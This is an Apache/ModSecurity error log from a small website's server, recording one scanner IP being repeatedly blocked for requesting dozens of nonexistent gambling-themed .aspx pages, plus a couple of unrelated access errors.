[Sat Jan 31 15:54:37.661519 2026] [:error] [pid 18773:tid 18796] [client 195.201.199.99:56546] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aX21PdHy21j24IPrB1XFQgAAAZU"]
[Sat Jan 31 15:54:40.164817 2026] [:error] [pid 31430:tid 31448] [client 195.201.199.99:57054] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aX21QMcb14YPxXg_g5EdjwAAAE4"]
[Sat Jan 31 15:54:42.821178 2026] [:error] [pid 39339:tid 39354] [client 195.201.199.99:57544] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aX21QsWi-IjigR3oHY40UAAAAM0"]
[Sat Jan 31 15:54:45.504035 2026] [:error] [pid 39242:tid 39261] [client 195.201.199.99:58032] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aX21RdOgXnkKGGSSCIMGAwAAAAc"]
[Sat Jan 31 15:54:48.149798 2026] [:error] [pid 59523:tid 59533] [client 195.201.199.99:58492] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aX21SJEkxOIGmVhqUWJVkQAAAwY"]
[Sat Jan 31 15:54:50.779876 2026] [:error] [pid 31465:tid 31516] [client 195.201.199.99:58914] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aX21SjkaGp475ez0mlyxHwAAAlY"]
[Sat Jan 31 15:54:53.401519 2026] [:error] [pid 31465:tid 31507] [client 195.201.199.99:59466] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aX21TTkaGp475ez0mlyxIgAAAk0"]
[Sat Jan 31 15:54:56.136876 2026] [:error] [pid 59581:tid 59589] [client 195.201.199.99:60072] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aX21ULpwqlqnnPNSmoHETgAAA4U"]
[Sat Jan 31 15:54:58.961070 2026] [:error] [pid 18773:tid 18791] [client 195.201.199.99:60686] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aX21UtHy21j24IPrB1XFTwAAAZA"]
[Sat Jan 31 15:55:01.760367 2026] [:error] [pid 39339:tid 39346] [client 195.201.199.99:33100] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aX21VcWi-IjigR3oHY40XwAAAMU"]
[Sat Jan 31 15:55:04.205747 2026] [:error] [pid 59581:tid 59590] [client 195.201.199.99:33604] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aX21WLpwqlqnnPNSmoHEVQAAA4Y"]
[Sat Jan 31 15:55:06.735212 2026] [:error] [pid 59582:tid 59622] [client 195.201.199.99:34072] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aX21Wo5dwpvvp1Lc6f1OFAAAA8s"]
[Sat Jan 31 15:55:09.333116 2026] [:error] [pid 18773:tid 18790] [client 195.201.199.99:34572] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aX21XdHy21j24IPrB1XFWAAAAY8"]
[Sat Jan 31 15:55:12.089844 2026] [:error] [pid 59523:tid 59538] [client 195.201.199.99:35022] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aX21YJEkxOIGmVhqUWJVnwAAAws"]
[Sat Jan 31 15:55:14.620342 2026] [:error] [pid 59523:tid 59535] [client 195.201.199.99:35466] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aX21YpEkxOIGmVhqUWJVpAAAAwg"]
[Sat Jan 31 15:55:17.298053 2026] [:error] [pid 39339:tid 39341] [client 195.201.199.99:35886] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aX21ZcWi-IjigR3oHY40dwAAAMA"]
[Sat Jan 31 15:55:19.952466 2026] [:error] [pid 59581:tid 59600] [client 195.201.199.99:36434] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aX21Z7pwqlqnnPNSmoHEYQAAA5A"]
[Sat Jan 31 15:55:22.487997 2026] [:error] [pid 18773:tid 18788] [client 195.201.199.99:36918] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aX21atHy21j24IPrB1XFZAAAAY0"]
[Sat Jan 31 15:55:25.162043 2026] [:error] [pid 59582:tid 59622] [client 195.201.199.99:37494] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aX21bY5dwpvvp1Lc6f1OJwAAA8s"]
[Sat Jan 31 15:55:27.911707 2026] [:error] [pid 59581:tid 59606] [client 195.201.199.99:38070] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aX21b7pwqlqnnPNSmoHEZgAAA5Y"]
[Sat Jan 31 15:55:30.644403 2026] [:error] [pid 39339:tid 39357] [client 195.201.199.99:38692] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aX21csWi-IjigR3oHY40jwAAANA"]
[Sat Jan 31 15:56:16.605786 2026] [:error] [pid 18803:tid 18829] [client 195.201.199.99:39210] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aX21oC2kTcRk9EBIxOFRZgAAAhc"]
[Sat Jan 31 15:56:19.217900 2026] [:error] [pid 13863:tid 13877] [client 195.201.199.99:47662] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aX21o-bxuFqFYLV42hTlaAAAAQo"]
[Sat Jan 31 15:56:21.807054 2026] [:error] [pid 44532:tid 44544] [client 195.201.199.99:48030] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aX21pcH-68uYbAtfrZ1ayQAAAUg"]
[Sat Jan 31 15:56:24.329980 2026] [:error] [pid 44532:tid 44547] [client 195.201.199.99:48408] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aX21qMH-68uYbAtfrZ1aygAAAUs"]
[Sat Jan 31 15:56:26.985183 2026] [:error] [pid 13863:tid 13873] [client 195.201.199.99:48770] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aX21qubxuFqFYLV42hTldwAAAQY"]
[Sat Jan 31 15:56:29.722896 2026] [:error] [pid 31465:tid 31507] [client 195.201.199.99:49184] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aX21rTkaGp475ez0mlyxiAAAAk0"]
[Sat Jan 31 15:56:32.543857 2026] [:error] [pid 18803:tid 18829] [client 195.201.199.99:49582] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aX21sC2kTcRk9EBIxOFRdQAAAhc"]
[Sat Jan 31 15:56:35.235802 2026] [:error] [pid 39242:tid 39278] [client 195.201.199.99:50002] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aX21s9OgXnkKGGSSCIMGfQAAABg"]
[Sat Jan 31 15:56:37.953620 2026] [:error] [pid 59523:tid 59529] [client 195.201.199.99:50374] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aX21tZEkxOIGmVhqUWJV_wAAAwI"]
[Sat Jan 31 15:56:40.557244 2026] [:error] [pid 39339:tid 39344] [client 195.201.199.99:50780] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aX21uMWi-IjigR3oHY401AAAAMM"]
[Sat Jan 31 15:56:43.146776 2026] [:error] [pid 44497:tid 44506] [client 195.201.199.99:51178] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aX21u_YR-oYdWfBZ-AtDUQAAAIY"]
[Sat Jan 31 15:56:45.777683 2026] [:error] [pid 44533:tid 44579] [client 195.201.199.99:51592] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aX21vYNjc98kHMNVmnsRmgAAAdA"]
[Sat Jan 31 15:56:48.270946 2026] [:error] [pid 39339:tid 39344] [client 195.201.199.99:52018] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aX21wMWi-IjigR3oHY402AAAAMM"]
[Sat Jan 31 15:56:50.963362 2026] [:error] [pid 59581:tid 59587] [client 195.201.199.99:52454] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aX21wrpwqlqnnPNSmoHE3QAAA4M"]
[Sat Jan 31 15:56:53.524929 2026] [:error] [pid 31465:tid 31494] [client 195.201.199.99:52808] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aX21xTkaGp475ez0mlyxnQAAAkA"]
[Sat Jan 31 15:56:56.208462 2026] [:error] [pid 44533:tid 44586] [client 195.201.199.99:53160] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aX21yINjc98kHMNVmnsRnwAAAdc"]
[Sat Jan 31 15:56:58.858884 2026] [:error] [pid 44532:tid 44549] [client 195.201.199.99:53508] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aX21ysH-68uYbAtfrZ1a3wAAAU0"]
[Sat Jan 31 15:57:01.523946 2026] [:error] [pid 13863:tid 13888] [client 195.201.199.99:53842] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aX21zebxuFqFYLV42hTliAAAARU"]
[Sat Jan 31 15:57:04.069870 2026] [:error] [pid 39339:tid 39359] [client 195.201.199.99:54220] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aX210MWi-IjigR3oHY405AAAANI"]
[Sat Jan 31 15:57:06.616851 2026] [:error] [pid 44532:tid 44545] [client 195.201.199.99:54586] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aX210sH-68uYbAtfrZ1a6gAAAUk"]
[Sat Jan 31 15:57:09.295177 2026] [:error] [pid 31465:tid 31516] [client 195.201.199.99:54990] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aX211TkaGp475ez0mlyxrgAAAlY"]
[Sat Jan 31 15:57:11.913410 2026] [:error] [pid 39242:tid 39269] [client 195.201.199.99:55358] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aX2119OgXnkKGGSSCIMGlQAAAA8"]
[Sat Jan 31 15:57:58.133687 2026] [:error] [pid 39242:tid 39259] [client 195.201.199.99:55750] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aX22BtOgXnkKGGSSCIMGzgAAAAU"]
[Sat Jan 31 15:58:00.724772 2026] [:error] [pid 18773:tid 18778] [client 195.201.199.99:34266] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aX22CNHy21j24IPrB1XF6wAAAYM"]
[Sat Jan 31 15:58:03.293513 2026] [:error] [pid 39339:tid 39350] [client 195.201.199.99:34660] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aX22C8Wi-IjigR3oHY41DQAAAMk"]
[Sat Jan 31 15:58:06.045047 2026] [:error] [pid 59523:tid 59528] [client 195.201.199.99:35092] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aX22DpEkxOIGmVhqUWJWPwAAAwE"]
[Sat Jan 31 15:58:08.523865 2026] [:error] [pid 18803:tid 18812] [client 195.201.199.99:35448] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aX22EC2kTcRk9EBIxOFRxgAAAgY"]
[Sat Jan 31 15:58:11.148862 2026] [:error] [pid 31465:tid 31508] [client 195.201.199.99:35844] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aX22EzkaGp475ez0mlyx4AAAAk4"]
[Sat Jan 31 15:58:13.785885 2026] [:error] [pid 31465:tid 31506] [client 195.201.199.99:36158] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aX22FTkaGp475ez0mlyx4wAAAkw"]
[Sat Jan 31 15:58:16.364418 2026] [:error] [pid 39242:tid 39271] [client 195.201.199.99:36464] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aX22GNOgXnkKGGSSCIMG1gAAABE"]
[Sat Jan 31 15:58:18.978644 2026] [:error] [pid 31465:tid 31495] [client 195.201.199.99:36820] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aX22GjkaGp475ez0mlyx8AAAAkE"]
[Sat Jan 31 15:58:21.658899 2026] [:error] [pid 31465:tid 31510] [client 195.201.199.99:37244] [client 195.201.199.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aX22HTkaGp475ez0mlyx9wAAAlA"]
[Sat Jan 31 20:02:09.223656 2026] [autoindex:error] [pid 39242:tid 39262] [client 207.180.246.239:62501] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Jan 31 21:25:27.635546 2026] [:error] [pid 39242:tid 39255] [client 20.210.88.226:8670] [client 20.210.88.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about.php"] [unique_id "aX4Cx9OgXnkKGGSSCINDcQAAAAE"]
